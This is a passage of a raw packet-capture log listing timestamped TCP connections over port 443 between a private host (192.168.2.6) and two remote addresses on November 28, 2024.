Nov 28, 2024 00:19:22.205743074 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.205775023 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.205796003 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.212419987 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.212500095 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.212553024 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.212564945 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.212589979 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.212605953 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.212635994 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.212652922 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.212702990 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.212708950 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.212743044 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.212757111 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.215272903 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.215303898 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.215389967 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.215395927 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.215442896 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.215471983 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.222765923 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.222784042 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.222882032 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.222889900 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.223531008 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.223578930 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.223619938 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.223622084 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.223632097 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.223651886 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.223671913 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.227190971 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.227210045 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.227302074 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.227307081 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.229496956 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.233505011 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.233522892 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.233623981 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.233632088 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.233695030 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.235486984 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.235537052 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.235604048 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.235615015 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.235631943 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.235651970 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.236809015 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.236825943 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.236893892 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.236900091 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.237714052 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.242959976 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.242976904 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.243061066 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.243073940 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.245814085 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.245866060 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.245912075 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.245913982 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.245923996 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.245944023 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.245965004 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.246651888 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.248061895 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.248080969 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.248136044 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.248141050 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.248158932 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.248183012 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.267453909 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.267471075 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.267525911 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.267537117 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.267589092 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.267589092 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.274421930 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.274435997 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.274499893 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.274511099 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.274610996 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.276446104 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.276454926 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.277020931 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.277024984 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.281922102 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.281936884 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.281984091 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.281996012 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.282037973 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.282037973 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.289355993 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.289374113 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.289458036 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.289472103 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.289513111 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.293659925 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.294169903 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.294184923 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.294720888 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.294725895 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.295916080 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.295932055 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.296004057 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.296014071 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.296029091 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.296127081 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.303880930 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.303895950 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.303952932 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.303963900 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.303997993 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.310404062 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.310419083 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.310497999 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.310508013 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.310540915 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.317971945 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.317991018 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.318047047 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.318057060 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.318089962 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.318110943 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.370848894 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.370872974 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.371010065 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.371021986 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.371114969 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.374906063 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.374933004 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.375000954 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.375021935 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.375056982 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.375082970 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.375236988 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.375268936 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.375310898 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.375323057 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.375351906 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.375372887 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.380784988 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.380803108 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.380893946 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.380906105 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.380939960 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.381732941 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.381751060 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.381805897 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.381815910 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.381854057 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.381874084 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.384366989 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.384394884 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.384433031 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.384438038 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.384485006 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.384509087 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.389102936 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.389117956 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.389183044 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.389193058 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.389257908 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.390392065 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.390410900 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.390465975 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.390474081 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.390513897 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.393299103 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.393316984 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.393368006 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.393373966 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.393409967 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.393428087 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.398708105 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.398730040 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.398772955 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.398782015 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.398906946 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.398929119 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.399041891 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.399076939 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.399085045 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.399133921 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.401279926 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.401297092 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.401377916 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.401377916 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.401384115 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.401416063 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.406471014 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.406493902 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.406563044 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.406569958 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.406611919 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.408126116 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.408148050 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.408199072 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.408214092 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.408253908 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.410089970 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.410105944 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.410151005 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.410161018 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.410182953 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.410207987 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.415601969 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.415626049 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.415689945 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.415698051 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.415755033 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.417140961 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.417159081 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.417232037 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.417243004 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.417323112 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.418648005 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.418668985 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.418715000 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.418720961 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.418771982 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.423080921 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.423101902 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.423182011 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.423190117 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.423230886 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.426615000 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.426634073 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.426693916 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.426706076 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.426783085 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.427432060 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.427448034 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.427495003 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.427504063 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.427529097 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.427548885 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.430715084 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.430799961 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.430805922 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.430816889 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.430845022 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.431816101 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.431833982 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.431893110 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.431902885 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.431941986 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.431952000 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.436455965 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.436470985 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.436526060 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.436532021 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.436594963 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.459198952 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.459218025 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.459295988 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.459311008 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.459561110 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.465734959 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.465750933 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.465805054 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.465812922 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.465858936 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.473227024 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.473248005 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.473294973 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.473303080 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.473340034 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.473360062 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.480812073 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.480828047 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.480882883 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.480892897 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.480947018 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.488274097 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.488290071 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.488395929 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.488405943 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.488574028 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.495275974 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.495292902 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.495338917 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.495347977 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.495398998 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.502018929 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.502037048 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.502075911 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.502083063 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.502118111 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.502126932 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.509351969 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.509368896 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.509447098 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.509457111 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.509627104 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.561240911 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.561269045 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.561322927 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.561336994 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.561965942 CET	443	49729	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:22.562022924 CET	49729	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:22.579360008 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.579389095 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.579451084 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.579464912 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.579504013 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.579514980 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.579592943 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.579613924 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.579674959 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.579682112 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.579749107 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.586417913 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.586441040 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.586482048 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.586544037 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.586549997 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.586615086 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.588371038 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.588387966 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.588455915 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.588463068 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.588502884 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.595002890 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.595021963 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.595079899 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.595088005 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.595165014 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.596046925 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.596064091 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.596112013 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.596117973 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.596175909 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.602463007 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.602488995 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.602525949 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.602534056 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.602577925 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:22.604676962 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:22.604697943 CET	443	49724	150.171.27.10	192.168.2.6
